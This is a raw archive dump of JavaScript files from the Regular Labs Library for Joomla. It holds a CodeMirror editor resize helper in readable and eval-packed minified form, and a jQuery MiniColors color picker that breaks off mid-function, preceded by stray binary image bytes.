�$?����s��!7������i�/�ͪ�L�]��L,=��1:�5`e�ĭ��fu�j��/��w�DY��H[�r��z1+A�����X��vi�xӏp6��ȤB�u:y5�b�e���Sf[A.�CI��̎0fzcm�I?V���k��x�VfK�+hQUY �)8������r�}���`���xF��@��c��Th�H�-AF��t%
�X;u�1+5�Zw��@d�P�$�~ZDl/f����Y�ȿ�u�0Y�NI��2Y�Ԝ��i�]�M]ʲuF a�ϔ_{&� ��è���Y"F?���DF�q��]�blT��V�Ɨ���n��
:ɪ �`֤!�Y�y��GFAc��ڇ����y���6�@Ċ�7l�v2�J��N�C�l�����?�(ʻ~�a���R�s�ͪ��,3:���\�l�E�r�¬�ҠL���d^&��v��9���-ՂY�Wg�]"
���f/�Z��G�� OX�����a�d�tAŨ��u�PQ���&�V�=>����\0eNj�
�W���_����u͘��Ȝ���8����g[]�
;�v7�V�T=�SM����ΑѠ��^���5��*�=�A:F�D�c�E���5��-Z��_��J�z��f֨�A��.�����Rݤ�պ���L���Ć�[�=f�z_ߥ�t{;=��������'�S���IEND�B`�js/codemirror.js000064400000017647151165506420007707
0ustar00/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
"use strict";
if (typeof window.RegularLabsCodeMirror === 'undefined'
|| typeof RegularLabsCodeMirror.version === 'undefined'
|| RegularLabsCodeMirror.version < '21.2.19653') {
(function($) {
window.RegularLabsCodeMirror = {
version: '21.2.19653',
init: function(id) {
if (!$(`#rl_codemirror_${id} .CodeMirror`).length) {
setTimeout(function() {
RegularLabsCodeMirror.init(id);
}, 100);
return;
}
RegularLabsCodeMirror.resizeWidth(id);
cmResize(Joomla.editors.instances[id], {
minHeight : 50,
resizableWidth : false, //Which direction the editor can be
resized (default: both width and height).
resizableHeight: true,
cssClass : 'cm-resize-handle' //CSS class to use on
the *default* resize handle.
});
$(window).resize(function() {
RegularLabsCodeMirror.resizeWidth(id);
});
},
resizeWidth: function(id) {
$(`#rl_codemirror_${id}
.CodeMirror`).width(100).css('visibility', 'hidden');
setTimeout(function() {
$(`#rl_codemirror_${id} .CodeMirror`).each(function() {
var new_width = $(this).parent().width();
if (new_width <= 100) {
setTimeout(function() {
RegularLabsCodeMirror.resizeWidth(id);
}, 100);
return;
}
$(this).width(new_width).css('visibility',
'visible');
});
}, 100);
}
};
})(jQuery);
(function(global, factory) {
typeof exports === 'object' && typeof module !==
'undefined' ? module.exports = factory() :
typeof define === 'function' && define.amd ?
define(factory) :
(global.cmResize = factory());
}(this, (function() {
'use strict';
function dragTracker(options) {
var ep = Element.prototype;
if (!ep.matches) ep.matches = ep.msMatchesSelector ||
ep.webkitMatchesSelector;
if (!ep.closest) ep.closest = function(s) {
var node = this;
do {
if (node.matches(s)) return node;
node = node.tagName === 'svg' ? node.parentNode :
node.parentElement;
} while (node);
return null;
};
options = options || {};
var container = options.container || document.documentElement,
selector = options.selector,
callback = options.callback || console.log,
callbackStart = options.callbackDragStart,
callbackEnd = options.callbackDragEnd,
callbackClick = options.callbackClick,
propagate = options.propagateEvents,
roundCoords = options.roundCoords !== false,
dragOutside = options.dragOutside !== false,
handleOffset = options.handleOffset || options.handleOffset !==
false;
var offsetToCenter = null;
switch (handleOffset) {
case 'center':
offsetToCenter = true;
break;
case 'topleft':
case 'top-left':
offsetToCenter = false;
break;
}
var dragged = void 0,
mouseOffset = void 0,
dragStart = void 0;
function getMousePos(e, elm, offset, stayWithin) {
var x = e.clientX,
y = e.clientY;
function respectBounds(value, min, max) {
return Math.max(min, Math.min(value, max));
}
if (elm) {
var bounds = elm.getBoundingClientRect();
x -= bounds.left;
y -= bounds.top;
if (offset) {
x -= offset[0];
y -= offset[1];
}
if (stayWithin) {
x = respectBounds(x, 0, bounds.width);
y = respectBounds(y, 0, bounds.height);
}
if (elm !== container) {
var center = offsetToCenter !== null ? offsetToCenter
: elm.nodeName === 'circle' || elm.nodeName ===
'ellipse';
if (center) {
x -= bounds.width / 2;
y -= bounds.height / 2;
}
}
}
return roundCoords ? [Math.round(x), Math.round(y)] : [x, y];
}
function stopEvent(e) {
e.preventDefault();
if (!propagate) {
e.stopPropagation();
}
}
function onDown(e) {
if (selector) {
dragged = selector instanceof Element ? selector.contains(e.target) ?
selector : null : e.target.closest(selector);
} else {
dragged = {};
}
if (dragged) {
stopEvent(e);
mouseOffset = selector && handleOffset ? getMousePos(e,
dragged) : [0, 0];
dragStart = getMousePos(e, container, mouseOffset);
if (roundCoords) {
dragStart = dragStart.map(Math.round);
}
if (callbackStart) {
callbackStart(dragged, dragStart);
}
}
}
function onMove(e) {
if (!dragged) {
return;
}
stopEvent(e);
var pos = getMousePos(e, container, mouseOffset, !dragOutside);
callback(dragged, pos, dragStart);
}
function onEnd(e) {
if (!dragged) {
return;
}
if (callbackEnd || callbackClick) {
var pos = getMousePos(e, container, mouseOffset, !dragOutside);
if (callbackClick && dragStart[0] === pos[0] &&
dragStart[1] === pos[1]) {
callbackClick(dragged, dragStart);
}
if (callbackEnd) {
callbackEnd(dragged, pos, dragStart);
}
}
dragged = null;
}
container.addEventListener('mousedown', function(e) {
if (isLeftButton(e)) {
onDown(e);
}
});
container.addEventListener('touchstart', function(e) {
relayTouch(e, onDown);
});
window.addEventListener('mousemove', function(e) {
if (!dragged) {
return;
}
if (isLeftButton(e)) {
onMove(e);
} else {
onEnd(e);
}
});
window.addEventListener('touchmove', function(e) {
relayTouch(e, onMove);
});
window.addEventListener('mouseup', function(e) {
if (dragged && !isLeftButton(e)) {
onEnd(e);
}
});
function onTouchEnd(e) {
onEnd(tweakTouch(e));
}
container.addEventListener('touchend', onTouchEnd);
container.addEventListener('touchcancel', onTouchEnd);
function isLeftButton(e) {
return e.buttons !== undefined ? e.buttons === 1 :
e.which === 1;
}
function relayTouch(e, handler) {
if (e.touches.length !== 1) {
onEnd(e);
return;
}
handler(tweakTouch(e));
}
function tweakTouch(e) {
var touch = e.targetTouches[0];
if (!touch) {
touch = e.changedTouches[0];
}
touch.preventDefault = e.preventDefault.bind(e);
touch.stopPropagation = e.stopPropagation.bind(e);
return touch;
}
}
function cmResize(cm, config) {
config = config || {};
var minW = config.minWidth || 200,
minH = config.minHeight || 100,
resizeW = config.resizableWidth !== false,
resizeH = config.resizableHeight !== false,
css = config.cssClass || 'cm-resize-handle';
var cmElement = cm.display.wrapper,
cmHandle = config.handle || function() {
var h =
cmElement.appendChild(document.createElement('div'));
h.className = css;
return h;
}();
var vScroll =
cmElement.querySelector('.CodeMirror-vscrollbar'),
hScroll = cmElement.querySelector('.CodeMirror-hscrollbar');
function constrainScrollbars() {
if (!config.handle) {
vScroll.style.bottom = '18px';
hScroll.style.right = '18px';
}
}
cm.on('update', constrainScrollbars);
constrainScrollbars();
var startPos = void 0,
startSize = void 0;
dragTracker({
container: cmHandle.offsetParent,
selector : cmHandle,
callbackDragStart: function callbackDragStart(handle, pos) {
startPos = pos;
startSize = [cmElement.clientWidth, cmElement.clientHeight];
},
callback : function callback(handle, pos) {
var diffX = pos[0] - startPos[0],
diffY = pos[1] - startPos[1],
cw = resizeW ? Math.max(minW, startSize[0] + diffX) : null,
ch = resizeH ? Math.max(minH, startSize[1] + diffY) : null;
cm.setSize(cw, ch);
}
});
return cmHandle;
}
return cmResize;
})));
}
js/codemirror.min.js000064400000010216151165506420010452 0ustar00/*
* Copyright © 2020 Regular Labs - All Rights Reserved
* License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
eval(function(r,e,g,l,a,b){a=function(c){return(c<e?'':a(parseInt(c/e)))+((c=c%e)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(g--){b[a(g)]=l[g]||a(g)}l=[function(a){return
b[a]}];a=function(){return'\\w+'};g=1};while(g--){if(l[g]){r=r.replace(new
RegExp('\\b'+a(g)+'\\b','g'),l[g])}}return
r}('"1w 1x";4(J t.g===\'O\'||J
g.1h===\'O\'||g.1h<\'[1W]\'){(3($){t.g={1h:\'[1W]\',1Q:3(b){4(!$(`#10${b}.B`).1Z){11(3(){g.1Q(b)},u);6}g.V(b);Q(26.2e.2g[b],{1P:2h,1S:m,1U:1K,1V:\'v-1m-r\'});$(t).1m(3(){g.V(b)})},V:3(b){$(`#10${b}.B`).C(u).N(\'22\',\'2d\');11(3(){$(`#10${b}.B`).2m(3(){5
13=$(Y).2n().C();4(13<=u){11(3(){g.V(b)},u);6}$(Y).C(13).N(\'22\',\'2r\')})},u)}}})(2c);(3(1u,S){J
1p===\'2i\'&&J 1B!==\'O\'?1B.1p=S():J
14===\'3\'&&14.2p?14(S):(1u.Q=S())}(Y,(3(){\'1w
1x\';3 1I(7){5 n=1t.2l;4(!n.18)n.18=n.2k||n.2j;4(!n.17)n.17=3(s){5
i=Y;2f{4(i.18(s))6 i;i=i.2a===\'29\'?i.27:i.24}25(i);6
j};7=7||{};5
a=7.a||21.2s,f=7.f,z=7.z||2q.2u,1e=7.1j,P=7.2O,H=7.H,1v=7.2S,R=7.R!==m,L=7.L!==m,A=7.A||7.A!==m;5
D=j;2T(A){19\'1c\':D=1K;1J;19\'2U\':19\'1G-1n\':D=m;1J}5
8=F 0,G=F 0,c=F 0;3 E(e,q,U,1F){5 x=e.2W,y=e.2X;3 1g(1H,1a,I){6
l.I(1a,l.1a(1H,I))}4(q){5
o=q.2Y();x-=o.1n;y-=o.1G;4(U){x-=U[0];y-=U[1]}4(1F){x=1g(x,0,o.C);y=1g(y,0,o.1o)}4(q!==a){5
1c=D!==j?D:q.1y===\'32\'||q.1y===\'33\';4(1c){x-=o.C/2;y-=o.1o/2}}}6
R?[l.1f(x),l.1f(y)]:[x,y]}3 1d(e){e.1i();4(!1v){e.1k()}}3 15(e){4(f){8=f 2R
1t?f.2Q(e.1r)?f:j:e.1r.17(f)}1O{8={}}4(8){1d(e);G=f&&A?E(e,8):[0,0];c=E(e,a,G);4(R){c=c.2w(l.1f)}4(1e){1e(8,c)}}}3
16(e){4(!8){6}1d(e);5 9=E(e,a,G,!L);z(8,9,c)}3 K(e){4(!8){6}4(P||H){5
9=E(e,a,G,!L);4(H&&c[0]===9[0]&&c[1]===9[1]){H(8,c)}4(P){P(8,9,c)}}8=j}a.k(\'2D\',3(e){4(M(e)){15(e)}});a.k(\'35\',3(e){Z(e,15)});t.k(\'2E\',3(e){4(!8){6}4(M(e)){16(e)}1O{K(e)}});t.k(\'2G\',3(e){Z(e,16)});t.k(\'2H\',3(e){4(8&&!M(e)){K(e)}});3
12(e){K(1b(e))}a.k(\'2I\',12);a.k(\'2J\',12);3 M(e){6
e.1N!==O?e.1N===1:e.2M===1}3 Z(e,23){4(e.2N.1Z!==1){K(e);6}23(1b(e))}3
1b(e){5 w=e.2Z[0];4(!w){w=e.2t[0]}w.1i=e.1i.1R(e);w.1k=e.1k.1R(e);6 w}}3
Q(v,d){d=d||{};5
1D=d.2L||2K,20=d.1P||u,1E=d.1S!==m,1M=d.1U!==m,N=d.1V||\'v-1m-r\';5
p=v.2v.2C,T=d.r||3(){5 h=p.2B(21.2A(\'2z\'));h.2y=N;6 h}();5
1q=p.1L(\'.B-2x\'),1z=p.1L(\'.B-2P\');3
1l(){4(!d.r){1q.1A.2F=\'1C\';1z.1A.34=\'1C\'}}v.31(\'30\',1l);1l();5
X=F 0,W=F 0;1I({a:T.2V,f:T,1j:3 1j(r,9){X=9;W=[p.28,p.2b]},z:3 z(r,9){5
1s=9[0]-X[0],1Y=9[1]-X[1],1X=1E?l.I(1D,W[0]+1s):j,1T=1M?l.I(20,W[1]+1Y):j;v.2o(1X,1T)}});6
T}6
Q})))}',62,192,'|||function|if|var|return|options|dragged|pos|container|id|dragStart|config||selector|RegularLabsCodeMirror||node|null|addEventListener|Math|false|ep|bounds|cmElement|elm|handle||window|100|cm|touch|||callback|handleOffset|CodeMirror|width|offsetToCenter|getMousePos|void|mouseOffset|callbackClick|max|typeof|onEnd|dragOutside|isLeftButton|css|undefined|callbackEnd|cmResize|roundCoords|factory|cmHandle|offset|resizeWidth|startSize|startPos|this|relayTouch|rl_codemirror_|setTimeout|onTouchEnd|new_width|define|onDown|onMove|closest|matches|case|min|tweakTouch|center|stopEvent|callbackStart|round|respectBounds|version|preventDefault|callbackDragStart|stopPropagation|constrainScrollbars|resize|left|height|exports|vScroll|target|diffX|Element|global|propagate|use|strict|nodeName|hScroll|style|module|18px|minW|resizeW|stayWithin|top|value|dragTracker|break|true|querySelector|resizeH|buttons|else|minHeight|init|bind|resizableWidth|ch|resizableHeight|cssClass|LIB_VERSION|cw|diffY|length|minH|document|visibility|handler|parentElement|while|Joomla|parentNode|clientWidth|svg|tagName|clientHeight|jQuery|hidden|editors|do|instances|50|object|webkitMatchesSelector|msMatchesSelector|prototype|each|parent|setSize|amd|console|visible|documentElement|changedTouches|log|display|map|vscrollbar|className|div|createElement|appendChild|wrapper|mousedown|mousemove|bottom|touchmove|mouseup|touchend|touchcancel|200|minWidth|which|touches|callbackDragEnd|hscrollbar|contains|instanceof|propagateEvents|switch|topleft|offsetParent|clientX|clientY|getBoundingClientRect|targetTouches|update|on|circle|ellipse|right|touchstart'.split('|'),0,{}))js/color.js000064400000056075151165506420006656
0ustar00/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/**
* BASED ON:
* jQuery MiniColors: A tiny color picker built on jQuery
* Copyright Cory LaViska for A Beautiful Site, LLC.
(http://www.abeautifulsite.net/)
* Dual-licensed under the MIT and GPL Version 2 licenses
*
*/
if (jQuery) (function($) {
$(document).ready(function() {
$('.rl_color').minicolors();
});
// Yay, MiniColors!
$.minicolors = {
// Default settings
defaultSettings: {
animationSpeed : 100,
animationEasing: 'swing',
change : null,
changeDelay : 0,
control : 'hue',
defaultValue : '',
hide : null,
hideSpeed : 100,
inline : false,
letterCase : 'lowercase',
opacity : false,
position : 'default',
show : null,
showSpeed : 100,
swatchPosition : 'left',
textfield : true,
theme : 'default'
}
};
// Public methods
$.extend($.fn, {
minicolors: function(method, data) {
switch (method) {
// Destroy the control
case 'destroy':
$(this).each(function() {
destroy($(this));
});
return $(this);
// Get/set opacity
case 'opacity':
if (data === undefined) {
// Getter
return $(this).attr('data-opacity');
} else {
// Setter
$(this).each(function() {
refresh($(this).attr('data-opacity', data));
});
return $(this);
}
// Get an RGB(A) object based on the current color/opacity
case 'rgbObject':
return rgbObject($(this), method === 'rgbaObject');
// Get an RGB(A) string based on the current color/opacity
case 'rgbString':
case 'rgbaString':
return rgbString($(this), method === 'rgbaString');
// Get/set settings on the fly
case 'settings':
if (data === undefined) {
return $(this).data('minicolors-settings');
} else {
// Setter
$(this).each(function() {
var settings = $(this).data('minicolors-settings') || {};
destroy($(this));
$(this).minicolors($.extend(true, settings, data));
});
return $(this);
}
// Get/set the hex color value
case 'value':
if (data === undefined) {
// Getter
return $(this).val();
} else {
// Setter
$(this).each(function() {
refresh($(this).val(data));
});
return $(this);
}
// Initializes the control
case 'create':
default:
if (method !== 'create') data = method;
$(this).each(function() {
init($(this), data);
});
return $(this);
}
}
});
// Initialize input elements
function init(input, settings) {
var minicolors = $('<span class="minicolors"
/>'),
defaultSettings = $.minicolors.defaultSettings;
// Do nothing if already initialized
if (input.data('minicolors-initialized')) return;
// Handle settings
settings = $.extend(true, {}, defaultSettings, settings);
// The wrapper
minicolors
.addClass('minicolors-theme-' + settings.theme)
.addClass('minicolors-swatch-position-' +
settings.swatchPosition)
.toggleClass('minicolors-swatch-left', settings.swatchPosition
=== 'left')
.toggleClass('minicolors-with-opacity', settings.opacity);
// Custom positioning
if (settings.position !== undefined) {
$.each(settings.position.split(' '), function() {
minicolors.addClass('minicolors-position-' + this);
});
}
// The input
input
.addClass('minicolors-input')
.data('minicolors-initialized', true)
.data('minicolors-settings', settings)
.prop('size', 7)
.prop('maxlength', 7)
.wrap(minicolors)
.after(
'<span class="minicolors-panel minicolors-slider-' +
settings.control + '">' +
'<span class="minicolors-slider">' +
'<span
class="minicolors-picker"></span>' +
'</span>' +
'<span class="minicolors-opacity-slider">' +
'<span
class="minicolors-picker"></span>' +
'</span>' +
'<span class="minicolors-grid">' +
'<span
class="minicolors-grid-inner"></span>' +
'<span
class="minicolors-picker"><span></span></span>'
+
'</span>' +
'</span>'
);
// Prevent text selection in IE
input.parent().find('.minicolors-panel').on('selectstart',
function() {
return false;
}).end();
// Detect swatch position
if (settings.swatchPosition === 'left') {
// Left
input.before('<span
class="minicolors-swatch"><span></span></span>');
} else {
// Right
input.after('<span
class="minicolors-swatch"><span></span></span>');
}
// Disable textfield
if (!settings.textfield) input.addClass('minicolors-hidden');
// Inline controls
if (settings.inline)
input.parent().addClass('minicolors-inline');
updateFromInput(input);
}
// Returns the input back to its original state
function destroy(input) {
var minicolors = input.parent();
// Revert the input element
input
.removeData('minicolors-initialized')
.removeData('minicolors-settings')
.removeProp('size')
.removeProp('maxlength')
.removeClass('minicolors-input');
// Remove the wrap and destroy whatever remains
minicolors.before(input).remove();
}
// Refresh the specified control
function refresh(input) {
updateFromInput(input);
}
// Shows the specified dropdown panel
function show(input) {
var minicolors = input.parent(),
panel = minicolors.find('.minicolors-panel'),
settings = input.data('minicolors-settings');
// Do nothing if uninitialized, disabled, or already open
if (!input.data('minicolors-initialized') ||
input.prop('disabled') ||
minicolors.hasClass('minicolors-focus')) return;
hide();
minicolors.addClass('minicolors-focus');
panel
.stop(true, true)
.fadeIn(settings.showSpeed, function() {
if (settings.show) settings.show.call(input);
});
}
// Hides all dropdown panels
function hide() {
$('.minicolors-input').each(function() {
var input = $(this),
settings = input.data('minicolors-settings'),
minicolors = input.parent();
// Don't hide inline controls
if (settings.inline) return;
minicolors.find('.minicolors-panel').fadeOut(settings.hideSpeed,
function() {
if (minicolors.hasClass('minicolors-focus')) {
if (settings.hide) settings.hide.call(input);
}
minicolors.removeClass('minicolors-focus');
});
});
}
// Moves the selected picker
function move(target, event, animate) {
var input =
target.parents('.minicolors').find('.minicolors-input'),
settings = input.data('minicolors-settings'),
picker = target.find('[class$=-picker]'),
offsetX = target.offset().left,
offsetY = target.offset().top,
x = Math.round(event.pageX - offsetX),
y = Math.round(event.pageY - offsetY),
duration = animate ? settings.animationSpeed : 0,
wx, wy, r, phi;
// Touch support
if (event.originalEvent.changedTouches) {
x = event.originalEvent.changedTouches[0].pageX - offsetX;
y = event.originalEvent.changedTouches[0].pageY - offsetY;
}
// Constrain picker to its container
if (x < 0) x = 0;
if (y < 0) y = 0;
if (x > target.width()) x = target.width();
if (y > target.height()) y = target.height();
// Constrain color wheel values to the wheel
if (target.parent().is('.minicolors-slider-wheel') &&
picker.parent().is('.minicolors-grid')) {
wx = 75 - x;
wy = 75 - y;
r = Math.sqrt(wx * wx + wy * wy);
phi = Math.atan2(wy, wx);
if (phi < 0) phi += Math.PI * 2;
if (r > 75) {
r = 75;
x = 75 - (75 * Math.cos(phi));
y = 75 - (75 * Math.sin(phi));
}
x = Math.round(x);
y = Math.round(y);
}
// Move the picker
if (target.is('.minicolors-grid')) {
picker
.stop(true)
.animate({
top : y + 'px',
left: x + 'px'
}, duration, settings.animationEasing, function() {
updateFromControl(input);
});
} else {
picker
.stop(true)
.animate({
top: y + 'px'
}, duration, settings.animationEasing, function() {
updateFromControl(input);
});
}
}
// Sets the input based on the color picker values
function updateFromControl(input) {
function getCoords(picker, container) {
var left, top;
if (!picker.length || !container) return null;
left = picker.offset().left;
top = picker.offset().top;
return {
x: left - container.offset().left + (picker.outerWidth() / 2),
y: top - container.offset().top + (picker.outerHeight() / 2)
};
}
var hue, saturation, brightness, opacity, rgb, hex, x, y, r, phi,
// Helpful references
minicolors = input.parent(),
settings = input.data('minicolors-settings'),
panel = minicolors.find('.minicolors-panel'),
swatch = minicolors.find('.minicolors-swatch'),
// Panel objects
grid = minicolors.find('.minicolors-grid'),
slider = minicolors.find('.minicolors-slider'),
opacitySlider = minicolors.find('.minicolors-opacity-slider'),
// Picker objects
gridPicker = grid.find('[class$=-picker]'),
sliderPicker = slider.find('[class$=-picker]'),
opacityPicker = opacitySlider.find('[class$=-picker]'),
// Picker positions
gridPos = getCoords(gridPicker, grid),
sliderPos = getCoords(sliderPicker, slider),
opacityPos = getCoords(opacityPicker, opacitySlider);
// Determine HSB values
switch (settings.control) {
case 'wheel':
// Calculate hue, saturation, and brightness
x = (grid.width() / 2) - gridPos.x;
y = (grid.height() / 2) - gridPos.y;
r = Math.sqrt(x * x + y * y);
phi = Math.atan2(y, x);
if (phi < 0) phi += Math.PI * 2;
if (r > 75) {
r = 75;
gridPos.x = 69 - (75 * Math.cos(phi));
gridPos.y = 69 - (75 * Math.sin(phi));
}
saturation = keepWithin(r / 0.75, 0, 100);
hue = keepWithin(phi * 180 / Math.PI, 0, 360);
brightness = keepWithin(100 - Math.floor(sliderPos.y * (100 /
slider.height())), 0, 100);
hex = hsb2hex({
h: hue,
s: saturation,
b: brightness
});
// Update UI
slider.css('backgroundColor', hsb2hex({h: hue, s: saturation,
b: 100}));
break;
case 'saturation':
// Calculate hue, saturation, and brightness
hue = keepWithin(parseInt(gridPos.x * (360 / grid.width())), 0,
360);
saturation = keepWithin(100 - Math.floor(sliderPos.y * (100 /
slider.height())), 0, 100);
brightness = keepWithin(100 - Math.floor(gridPos.y * (100 /
grid.height())), 0, 100);
hex = hsb2hex({
h: hue,
s: saturation,
b: brightness
});
// Update UI
slider.css('backgroundColor', hsb2hex({h: hue, s: 100, b:
brightness}));
minicolors.find('.minicolors-grid-inner').css('opacity',
saturation / 100);
break;
case 'brightness':
// Calculate hue, saturation, and brightness
hue = keepWithin(parseInt(gridPos.x * (360 / grid.width())), 0,
360);
saturation = keepWithin(100 - Math.floor(gridPos.y * (100 /
grid.height())), 0, 100);
brightness = keepWithin(100 - Math.floor(sliderPos.y * (100 /
slider.height())), 0, 100);
hex = hsb2hex({
h: hue,
s: saturation,
b: brightness
});
// Update UI
slider.css('backgroundColor', hsb2hex({h: hue, s: saturation,
b: 100}));
minicolors.find('.minicolors-grid-inner').css('opacity',
1 - (brightness / 100));
break;
default:
// Calculate hue, saturation, and brightness
hue = keepWithin(360 - parseInt(sliderPos.y * (360 /
slider.height())), 0, 360);
saturation = keepWithin(Math.floor(gridPos.x * (100 / grid.width())),
0, 100);
brightness = keepWithin(100 - Math.floor(gridPos.y * (100 /
grid.height())), 0, 100);
hex = hsb2hex({
h: hue,
s: saturation,
b: brightness
});
// Update UI
grid.css('backgroundColor', hsb2hex({h: hue, s: 100, b:
100}));
break;
}
// Determine opacity
if (settings.opacity) {
opacity = parseFloat(1 - (opacityPos.y /
opacitySlider.height())).toFixed(2);
} else {
opacity = 1;
}
// Adjust case
input.val(convertCase(hex, settings.letterCase));
if (settings.opacity) input.attr('data-opacity', opacity);
// Set swatch color
swatch.find('SPAN').css({
backgroundColor: hex,
opacity : opacity
});
// Handle change event
if (hex + opacity !== input.data('minicolors-lastChange')) {
// Remember last-changed value
input.data('minicolors-lastChange', hex + opacity);
// Fire change event
if (settings.change) {
if (settings.changeDelay) {
// Call after a delay
clearTimeout(input.data('minicolors-changeTimeout'));
input.data('minicolors-changeTimeout', setTimeout(function()
{
settings.change.call(input, hex, opacity);
}, settings.changeDelay));
} else {
// Call immediately
settings.change.call(input, hex, opacity);
}
}
}
}
// Sets the color picker values from the input
function updateFromInput(input, preserveInputValue) {
var hex,
hsb,
opacity,
x, y, r, phi,
// Helpful references
minicolors = input.parent(),
settings = input.data('minicolors-settings'),
swatch = minicolors.find('.minicolors-swatch'),
// Panel objects
grid = minicolors.find('.minicolors-grid'),
slider = minicolors.find('.minicolors-slider'),
opacitySlider = minicolors.find('.minicolors-opacity-slider'),
// Picker objects
gridPicker = grid.find('[class$=-picker]'),
sliderPicker = slider.find('[class$=-picker]'),
opacityPicker = opacitySlider.find('[class$=-picker]');
// Determine hex/HSB values
hex = convertCase(parseHex(input.val(), true), settings.letterCase);
if (!hex) hex = convertCase(parseHex(settings.defaultValue, true));
hsb = hex2hsb(hex);
// Update input value
if (!preserveInputValue) input.val(hex);
// Determine opacity value
if (settings.opacity) {
opacity = input.attr('data-opacity') === '' ? 1 :
keepWithin(parseFloat(input.attr('data-opacity')).toFixed(2), 0,
1);
input.attr('data-opacity', opacity);
swatch.find('SPAN').css('opacity', opacity);
// Set opacity picker position
y = keepWithin(opacitySlider.height() - (opacitySlider.height() *
opacity), 0, opacitySlider.height());
opacityPicker.css('top', y + 'px');
}
// Update swatch
swatch.find('SPAN').css('backgroundColor', hex);
// Determine picker locations
switch (settings.control) {
case 'wheel':
// Set grid position
r = keepWithin(Math.ceil(hsb.s * 0.75), 0, grid.height() / 2);
phi = hsb.h * Math.PI / 180;
x = keepWithin(75 - Math.cos(phi) * r, 0, grid.width());
y = keepWithin(75 - Math.sin(phi) * r, 0, grid.height());
gridPicker.css({
top : y + 'px',
left: x + 'px'
});
// Set slider position
y = 150 - (hsb.b / (100 / grid.height()));
if (hex === '') y = 0;
sliderPicker.css('top', y + 'px');
// Update panel color
slider.css('backgroundColor', hsb2hex({h: hsb.h, s: hsb.s, b:
100}));
break;
case 'saturation':
// Set grid position
x = keepWithin((5 * hsb.h) / 12, 0, 150);
y = keepWithin(grid.height() - Math.ceil(hsb.b / (100 /
grid.height())), 0, grid.height());
gridPicker.css({
top : y + 'px',
left: x + 'px'
});
// Set slider position
y = keepWithin(slider.height() - (hsb.s * (slider.height() / 100)), 0,
slider.height());
sliderPicker.css('top', y + 'px');
// Update UI
slider.css('backgroundColor', hsb2hex({h: hsb.h, s: 100, b:
hsb.b}));
minicolors.find('.minicolors-grid-inner').css('opacity',
hsb.s / 100);
break;
case 'brightness':
// Set grid position
x = keepWithin((5 * hsb.h) / 12, 0, 150);
y = keepWithin(grid.height() - Math.ceil(hsb.s / (100 /
grid.height())), 0, grid.height());
gridPicker.css({
top : y + 'px',
left: x + 'px'
});
// Set slider position
y = keepWithin(slider.height() - (hsb.b * (slider.height() / 100)), 0,
slider.height());
sliderPicker.css('top', y + 'px');
// Update UI
slider.css('backgroundColor', hsb2hex({h: hsb.h, s: hsb.s, b:
100}));
minicolors.find('.minicolors-grid-inner').css('opacity',
1 - (hsb.b / 100));
break;
default:
// Set grid position
x = keepWithin(Math.ceil(hsb.s / (100 / grid.width())), 0,
grid.width());
y = keepWithin(grid.height() - Math.ceil(hsb.b / (100 /
grid.height())), 0, grid.height());
gridPicker.css({
top : y + 'px',
left: x + 'px'
});
// Set slider position
y = keepWithin(slider.height() - (hsb.h / (360 / slider.height())), 0,
slider.height());
sliderPicker.css('top', y + 'px');
// Update panel color
grid.css('backgroundColor', hsb2hex({h: hsb.h, s: 100, b:
100}));
break;
}
}
// Generates an RGB(A) object based on the input's value
function rgbObject(input) {
var hex = parseHex($(input).val(), true),
rgb = hex2rgb(hex),
opacity = $(input).attr('data-opacity');
if (!rgb) return null;
if (opacity !== undefined) $.extend(rgb, {a: parseFloat(opacity)});
return rgb;
}
// Genearates an RGB(A) string based on the input's value
function rgbString(input, alpha) {
var hex = parseHex($(input).val(), true),
rgb = hex2rgb(hex),
opacity = $(input).attr('data-opacity');
if (!rgb) return null;
if (opacity === undefined) opacity = 1;
if (alpha) {
return 'rgba(' + rgb.r + ', ' + rgb.g + ',
' + rgb.b + ', ' + parseFloat(opacity) + ')';
} else {
return 'rgb(' + rgb.r + ', ' + rgb.g + ',
' + rgb.b + ')';
}
}
// Converts to the letter case specified in settings
function convertCase(string, letterCase) {
return letterCase === 'uppercase' ? string.toUpperCase() :
string.toLowerCase();
}
// Parses a string and returns a valid hex string when possible
function parseHex(string, expand) {
string = string.replace(/[^A-F0-9]/ig, '');
if (string.length !== 3 && string.length !== 6) return
'';
if (string.length === 3 && expand) {
string = string[0] + string[0] + string[1] + string[1] + string[2] +
string[2];
}
return '#' + string;
}
// Keeps value within min and max
function keepWithin(value, min, max) {
if (value < min) value = min;
if (value > max) value = max;
return value;
}
// Converts an HSB object to an RGB object
function hsb2rgb(hsb) {
var rgb = {};
var h = Math.round(hsb.h);
var s = Math.round(hsb.s * 255 / 100);
var v = Math.round(hsb.b * 255 / 100);
if (s === 0) {
rgb.r = rgb.g = rgb.b = v;
} else {
var t1 = v;
var t2 = (255 - s) * v / 255;
var t3 = (t1 - t2) * (h % 60) / 60;
if (h === 360) h = 0;
if (h < 60) {
rgb.r = t1;
rgb.b = t2;
rgb.g = t2 + t3;
} else if (h < 120) {
rgb.g = t1;
rgb.b = t2;
rgb.r = t1 - t3;
} else if (h < 180) {
rgb.g = t1;
rgb.r = t2;
rgb.b = t2 + t3;
} else if (h < 240) {
rgb.b = t1;
rgb.r = t2;
rgb.g = t1 - t3;
} else if (h < 300) {
rgb.b = t1;
rgb.g = t2;
rgb.r = t2 + t3;
} else if (h < 360) {
rgb.r = t1;
rgb.g = t2;
rgb.b = t1 - t3;
} else {
rgb.r = 0;
rgb.g = 0;
rgb.b = 0;
}
}
return {
r: Math.round(rgb.r),
g: Math.round(rgb.g),
b: Math.round(rgb.b)
};
}
// Converts an RGB object to a hex string
function rgb2hex(rgb) {
var hex = [
rgb.r.toString(16),
rgb.g.toString(16),
rgb.b.toString(16)
];
$.each(hex, function(nr, val) {
if (val.length === 1) hex[nr] = '0' + val;
});
return '#' + hex.join('');
}
// Converts an HSB object to a hex string
function hsb2hex(hsb) {
return rgb2hex(hsb2rgb(hsb));
}
// Converts a hex string to an HSB object
function hex2hsb(hex) {
